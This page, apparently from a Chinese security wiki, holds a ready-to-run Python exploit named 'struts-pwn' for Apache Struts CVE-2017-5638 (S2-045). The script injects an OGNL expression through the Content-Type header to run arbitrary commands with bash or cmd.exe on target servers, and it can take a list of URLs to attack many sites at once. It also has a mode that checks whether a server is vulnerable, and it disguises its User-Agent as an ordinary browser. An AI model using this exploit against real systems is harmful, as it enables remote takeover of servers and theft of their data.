menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right Some-PoC-oR-ExP-master chevron_right Struts2 chevron_right S2-045_poc_exp.py
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    S2-045_poc_exp.py
    6.13 KB / 2021-07-04 19:32:24
        #!/usr/bin/env python3
    # coding=utf-8
    # *****************************************************
    # struts-pwn: Apache Struts CVE-2017-5638 Exploit
    # Author:
    # Mazin Ahmed <Mazin AT MazinAhmed DOT net>
    # This code is based on:
    # https://www.exploit-db.com/exploits/41570/
    # https://www.seebug.org/vuldb/ssvid-92746
    # *****************************************************
    import sys
    import random
    import requests
    import argparse
    
    # Disable SSL warnings
    try:
        import requests.packages.urllib3
        requests.packages.urllib3.disable_warnings()
    except:
        pass
    
    if len(sys.argv) <= 1:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        print('[*] Struts-PWN - @mazen160')
        print('\n%s -h for help.' % (sys.argv[0]))
        exit(0)
    
    parser = argparse.ArgumentParser()
    parser.add_argument("-u", "--url",
                        dest="url",
                        help="Check a single URL.",
                        action='store')
    parser.add_argument("-l", "--list",
                        dest="usedlist",
                        help="Check a list of URLs.",
                        action='store')
    parser.add_argument("-c", "--cmd",
                        dest="cmd",
                        help="Command to execute. (Default: id)",
                        action='store',
                        default='id')
    parser.add_argument("--check",
                        dest="do_check",
                        help="Check if a target is vulnerable.",
                        action='store_true')
    args = parser.parse_args()
    url = args.url if args.url else None
    usedlist = args.usedlist if args.usedlist else None
    url = args.url if args.url else None
    cmd = args.cmd if args.cmd else None
    do_check = args.do_check if args.do_check else None
    
    
    def url_prepare(url):
        url = url.replace('#', '%23')
        url = url.replace(' ', '%20')
        if ('://' not in url):
            url = str('http') + str('://') + str(url)
        return(url)
    
    
    def exploit(url, cmd):
        url = url_prepare(url)
        print('\n[*] URL: %s' % (url))
        print('[*] CMD: %s' % (cmd))
    
        payload = "%{(#_='multipart/form-data')."
        payload += "(#[email protected]@DEFAULT_MEMBER_ACCESS)."
        payload += "(#_memberAccess?"
        payload += "(#_memberAccess=#dm):"
        payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
        payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
        payload += "(#ognlUtil.getExcludedPackageNames().clear())."
        payload += "(#ognlUtil.getExcludedClasses().clear())."
        payload += "(#context.setMemberAccess(#dm))))."
        payload += "(#cmd='%s')." % cmd
        payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
        payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
        payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
        payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
        payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
        payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
        payload += "(#ros.flush())}"
    
        headers = {
            # 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
            'Content-Type': str(payload),
            'Accept': '*/*'
        }
    
        timeout = 3
        try:
            proxy = {"http":"127.0.0.1:8080"}
            output = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False,proxies=proxy).text
        except Exception as e:
            print("EXCEPTION::::--> " + str(e))
            output = 'ERROR'
        return(output)
    
    
    def check(url):
        url = url_prepare(url)
        print('\n[*] URL: %s' % (url))
    
        random_string = ''.join(random.choice('abcdefghijklmnopqrstuvwxyz') for i in range(7))
    
        payload = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']."
        payload += "addHeader('%s','%s')}.multipart/form-data" % (random_string, random_string)
        headers = {
            # 'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn)',
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
            'Content-Type': str(payload),
            'Accept': '*/*'
        }
    
        timeout = 3
        try:
            resp = requests.get(url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
            if ((random_string in resp.headers.keys()) and (resp.headers[random_string] == random_string)):
                result = True
            else:
                result = False
        except Exception as e:
            print("EXCEPTION::::--> " + str(e))
            result = False
        return(result)
    
    
    def main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check):
        if url:
            if do_check:
                result = check(url)  # Only check for existence of Vulnerablity
                output = '[*] Status: '
                if result is True:
                    output += 'Vulnerable!'
                else:
                    output += 'Not Affected.'
            else:
                output = exploit(url, cmd)  # Exploit
            print(output)
    
        if usedlist:
            URLs_List = []
            try:
                f_file = open(str(usedlist), 'r')
                URLs_List = f_file.read().replace('\r', '').split('\n')
                try:
                    URLs_List.remove('')
                except ValueError:
                    pass
                    f_file.close()
            except:
                print('Error: There was an error in reading list file.')
                exit(1)
            for url in URLs_List:
                if do_check:
                    result = check(url)  # Only check for existence of Vulnerablity
                    output = '[*] Status: '
                    if result is True:
                        output += 'Vulnerable!'
                    else:
                        output += 'Not Affected.'
                else:
                    output = exploit(url, cmd)  # Exploit
                print(output)
    
        print('[%] Done.')
    
    if __name__ == '__main__':
        try:
            main(url=url, usedlist=usedlist, cmd=cmd, do_check=do_check)
        except KeyboardInterrupt:
            print('\nKeyboardInterrupt Detected.')
            print('Exiting...')
            exit(0)
    
    links
    file_download